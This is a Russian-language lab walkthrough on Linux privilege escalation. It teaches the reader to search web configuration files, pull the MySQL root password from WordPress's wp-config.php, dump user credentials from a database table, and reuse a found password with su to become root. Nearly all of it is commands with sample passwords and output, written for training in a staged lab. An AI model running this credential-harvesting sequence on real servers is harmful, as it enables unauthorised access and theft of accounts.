Конфигурационные файлы веб-сервисов могут содержать конфиденциальную информацию, такую как учетные данные базы данных, которые можно использовать для повышения привилегий, если администратор повторно использовал пароли.
-
Сначала откройте терминал и перейдите в каталог /home/labex/project
.
cd /home/labex/project
Начнем с инициализации лабораторной среды:
./env_setup_1.sh
После инициализации мы работаем от имени пользователя www-data
, имитируя оболочку с низкими привилегиями, полученную с помощью уязвимости веб-приложения.
-
Веб-сервисы в Linux обычно хранятся в каталоге /var/www
. Следует обратить внимание на следующие файлы:
database.php
user.php
*.config
config.php
Эти файлы можно найти с помощью следующей команды:
find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2> /dev/null
Ожидаемый вывод:
/var/www/wordpress/wp-admin/includes/user.php
/var/www/wordpress/wp-includes/user.php
/var/www/wordpress/wp-content/plugins/akismet/views/config.php
Кроме того, если целевая система использует систему управления контентом (Content Management System, CMS), можно поискать стандартное расположение файла подключения к базе данных для этой конкретной CMS.
-
В этой лабораторной среде сервер использует CMS WordPress. В результате поиска мы обнаружили, что конфигурация базы данных WordPress хранится в файле /var/www/wordpress/wp-config.php
:
more /var/www/wordpress/wp-config.php
Этот файл содержит учетные данные для учетной записи root MySQL:
/** MySQL database username */
define( 'DB_USER', 'root' );
/** MySQL database password */
define( 'DB_PASSWORD', 'cD8M2M8fMiDHu4m1' );
-
Учитывая возможность повторного использования пароля администратором, мы можем попробовать войти в систему от имени суперпользователя (root) с использованием этого пароля:
su -
К сожалению, этот пароль не подходит для учетной записи root.
-
Далее мы можем войти в базу данных MySQL и поискать больше информации:
mysql -u root -p -h 127.0.0.1
Введите пароль из файла wp-config.php
:
cD8M2M8fMiDHu4m1
Внутри базы данных MySQL можно выполнить следующие команды, чтобы собрать больше информации:
Проверьте доступные базы данных:
show databases;
Выберите базу данных ROB
:
use ROB;
Выведите список таблиц в базе данных ROB
:
show tables;
Выберите таблицу rob_user
:
select * from rob_user;
Из базы данных мы получаем еще два набора учетных данных:
root:CMPc5MoAGf
alice:psoj9apv4u
Выйдите из базы данных MySQL:
exit
-
Мы можем попробовать войти в систему от имени суперпользователя (root) с использованием пароля CMPc5MoAGf
:
su -
Введите пароль, полученный из базы данных:
CMPc5MoAGf
На этот раз мы успешно получаем доступ с привилегиями суперпользователя!
-
Создайте файл с именем proof.txt
в каталоге /root
, чтобы продемонстрировать успешное повышение привилегий:
echo "Success" > /root/proof.txt
Проверьте, что файл был создан:
ls /root/proof.txt
В этом шаге мы научились находить и использовать конфиденциальную информацию в конфигурационных файлах веб-сервисов для повышения привилегий. Основная идея заключается в поиске аутентификационных учетных данных на сервере и использовании возможного повторного использования паролей для повышения привилегий.